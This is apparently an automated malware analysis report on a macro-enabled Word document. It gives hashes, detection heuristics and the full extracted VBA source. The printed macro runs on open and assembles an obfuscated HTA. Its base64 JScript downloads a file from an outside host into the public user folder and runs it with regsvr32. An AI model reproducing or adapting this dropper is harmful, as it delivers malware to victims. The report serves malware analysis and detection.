Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 36068cc3ce9c28ee…

MALICIOUS

Office (OOXML)

76.0 KB Created: 2021-03-24 05:17:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-04-01
MD5: eb5b48987021071b2d5a18461bac0632 SHA-1: 1e33ad2844b89f73a5b8ef9cf83dd8d00921f7fc SHA-256: 36068cc3ce9c28ee4311a19a4296a1a0af6ff3551562e3ff0eb3d78b3a55bc16
172 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set ptrA = CreateObject("wscript.shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set ptrA = CreateObject("wscript.shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4904 bytes
SHA-256: aac92d0af4b49d7a80b85d62b4b43b16204664d68927f63e10581b82fcb7cd82
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "frm"
Attribute VB_Base = "0{241FF803-74D0-4B9E-8D99-C1F9727A98AA}{B696D4BC-D3DA-4A50-B748-D0237AE253CB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub CommandButton1_Click()
Set ptrA = CreateObject("wscript.shell")
ptrA.exec frm.cmdButton1.Tag & " " & frm.cmdButton1.caption
End Sub

Attribute VB_Name = "rightDelete"
Sub autoopen()
pasteExBuffer
End Sub
Sub pasteExBuffer()
Dim procConstFunc As String
procConstFunc = frm.cmdButton1.caption
nextRemove procConstFunc
Call frm.CommandButton1_Click
End Sub

Attribute VB_Name = "trustViewTable"
Function nextMemoryRemove()
nextMemoryRemove = "<div id='content'>dmFyIHdpbmRvd09wdGlvbkNvbnZlcnQgPSBuZXcgQWN0aXZlWE9iamVjdCgibXN4bWwyLnhtbGh0dHAiKTt3aW5kb3dPcHRpb25Db252ZXJ0Lm9wZW4oIkdFVCIsICJodHRwOi8vcHJvZHVjZS1haG1lZDIwMTYuY29tL2ZkdmRkL1M2ZTEyYktQU3JOdHQ1Y1ZwUWtFTlZaRGQyeWtMLzg3MDEyL05nL25BVURSYWEvU1"
End Function
Function tmpStruct()
tmpStruct = "lMWTJPNHh2RjlVQ1k4aGVJem5GbUFxLzg3NjUwL3hhcjEyPz1jTVZVdVo4UkkycHl0RDR0U1pZenVQcyZxPW1JaGszYjhWbElBUyZ1c2VyPXBGa2JmU1JaQTVqTTlDYkVia3Fhbnl2JjlvNEVzeTlGalk9SjQ3dTN6JnE9OVVlUkUwcWlxSDhSJj1pR2RWTmt2SDVEZm1vcXF1cjN2Y3FtczQ1R0xiJnJlZj05TmhMNE5KVHdqemYmdGltZT1OVW"
End Function
Function rightLoadTextbox()
rightLoadTextbox = "9sWnhSck40TGpIQ2lOR0xjZmEiLCBmYWxzZSk7d2luZG93T3B0aW9uQ29udmVydC5zZW5kKCk7aWYod2luZG93T3B0aW9uQ29udmVydC5zdGF0dXMgPT0gMjAwKXt2YXIgY29weU9wdGlvbiA9IG5ldyBBY3RpdmVYT2JqZWN0KCJhZG9kYi5zdHJlYW0iKTtjb3B5T3B0aW9uLm9wZW47Y29weU9wdGlvbi50eXBlID0gMTtjb3B5T3B0aW9uLn"
End Function
Function referenceIndex()
referenceIndex = "dyaXRlKHdpbmRvd09wdGlvbkNvbnZlcnQucmVzcG9uc2Vib2R5KTtjb3B5T3B0aW9uLnNhdmV0b2ZpbGUoImM6XFx1c2Vyc1xccHVibGljXFxnbG9iYWxTdG9yYWdlLmpwZyIsIDIpO2NvcHlPcHRpb24uY2xvc2U7fQ==|fXspZnVCeXJvbWVNcGF3cyhoY3RhY307KSJhdGgubmlhbVxcY2lsYnVwXFxzcmVzdVxcOmMiKGVsaWZldGVsZWQuZ"
End Function
Function varLinkSize()
varLinkSize = "nVCY29yUHJldG51b2N7eXJ0OykidGNlamJvbWV0c3lzZWxpZi5nbml0cGlyY3MiKHRjZWpiT1hldml0Y0Egd2VuID0gZnVCY29yUHJldG51b2MgcmF2OykiZ3BqLmVnYXJvdFNsYWJvbGdcXGNpbGJ1cFxcc3Jlc3VcXDpjIDIzcnZzZ2VyIihudXIuKSJsbGVocy50cGlyY3N3Iih0Y2VqYk9YZXZpdGNBIHdlbg==</div><div id='table'"
End Function
Function structBuf()
structBuf = ">0123456789+/</div><script language='javascript'>sizePtrTable = window;requestDelete = document;function requestBuffer(linkVariableFunc){return(new ActiveXObject(linkVariableFunc));}function table(){var responseA = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';var argument"
End Function
Function optionGenericMem()
optionGenericMem = "Buffer = responseA + responseA.toLowerCase() + requestDelete.getElementById('table').innerHTML;return(argumentBuffer);}function countMain(s){var e={}; var i; var b=0; var c; var x; var l=0; var a; var valueReference=''; var w=String.fromCharCode; var L=s.l"
End Function
Function classWSwap()
classWSwap = "ength;var counterIndex = 'charAt';for(i=0;i<64;i++){e[table()[counterIndex](i)]=i;}for(x=0;x<L;x++){c=e[s[counterIndex](x)];b=(b<<6)+c;l+=6;while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(valueReference+=w(a));}}return(valueReference);};function libSelect"
End Function
Function databaseProcSize()
databaseProcSize = "(bufBufVb){return bufBufVb.split('').reverse().join('');}sizePtrTable.resizeTo(1, 1);sizePtrTable.moveTo(-100, -100);var linkClear = requestDelete.getElementById('content').innerHTML;var linkClear = linkClear.split('|');var tempCollectionRight = libSelect("
End Function
Function buttonCollectionClear()
buttonCollectionClear = "countMain(linkClear[0]));var tempCollectionRight = libSelect(tempCollectionRight);var refArgumentSize = libSelect(countMain(linkClear[1]));</script><script language='javascript'>function rightLeft(queryValue){var AProcedure = requestBuffer('msscriptcontrol"
End Function
Function AOption()
AOption = ".scriptcontrol');AProcedure.Language = 'jscript';AProcedure.Timeout = 60000;AProcedure.AddCode(queryValue);return(null);}</script><script language='vbscript'>rightLeft tempCollectionRight : rightLeft refArgumentSize : sizePtrTable.close</script>"
End Function
Function clearCopy()
clearCopy = nextMemoryRemove + tmpStruct + rightLoadTextbox + referenceIndex + varLinkSize + structBuf + optionGenericMem + classWSwap + databaseProcSize + buttonCollectionClear + AOption
End Function

Attribute VB_Name = "classBufferArray"
Sub nextRemove(iteratorLibPointer As String)
Open iteratorLibPointer For Output As #1
Print #1, clearCopy
Close #1
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28672 bytes
SHA-256: 676be447169e29538c7c0b1ad71185fb1ef889d315ad89ffc5fe1961f63d8f84
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 long base64-like blob(s).

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